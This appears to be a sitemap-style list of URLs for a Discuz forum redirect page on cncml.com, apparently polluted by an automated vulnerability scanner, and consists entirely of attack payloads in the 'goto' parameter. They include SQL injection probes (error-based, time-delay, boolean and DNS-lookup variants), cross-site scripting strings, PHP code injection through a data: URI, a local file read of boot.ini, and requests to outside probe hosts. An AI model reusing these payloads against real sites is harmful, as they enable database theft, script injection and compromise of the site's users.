http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=MAKE_SET(76=76,0x6C617374706F7374) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=MAKE_SET(97=17,0x6C617374706F7374) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=dir 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%00' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%200x6C617374706F7374%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=17)%20THEN%200x6C617374706F7374%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%22%20AND%20%220m%22=%22zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%22)%20AND%2071=42%20AND%20(%22E7%22=%22E7 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25%22%29%20AND%2055%3D59%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25%27%29%20AND%2056%3D11%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25%27%29%20AND%2085%3D85%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25'%20AND%2053=53%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25'%20AND%2055=94%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(14=14)%20THEN%200x6C617374706F7374%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=44)%20THEN%200x6C617374706F7374%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%2527 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%5B%5D 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%5C%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%5C' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost%bf%27 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND%20'34'%20LIKE%20'34 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND%20'B8'='Qg 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND%20'oS'%20LIKE%20'vO 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND%20'xp'='xp 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%200x6C617374706F7374%20ELSE%200x28%20END))%20AND%20'1S'='1S 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(36=59)%20THEN%200x6C617374706F7374%20ELSE%200x28%20END))%20AND%20'Fc'='Fc 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20AND%20('NB'%20LIKE%20'NB 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20AND%20('fo'%20LIKE%20'G4 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20AND%2016=75%20AND%20('3T'='3T 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20AND%2085=85%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20OR%2057=39%20AND%20('Eye'='Eye 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20OR%2064=64%20AND%20('N2'='N2 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(57=57)%20THEN%200x6C617374706F7374%20ELSE%200x28%20END))%20AND%20('FS'='FS 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(76=46)%20THEN%200x6C617374706F7374%20ELSE%200x28%20END))%20AND%20('Fq'='Fq 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 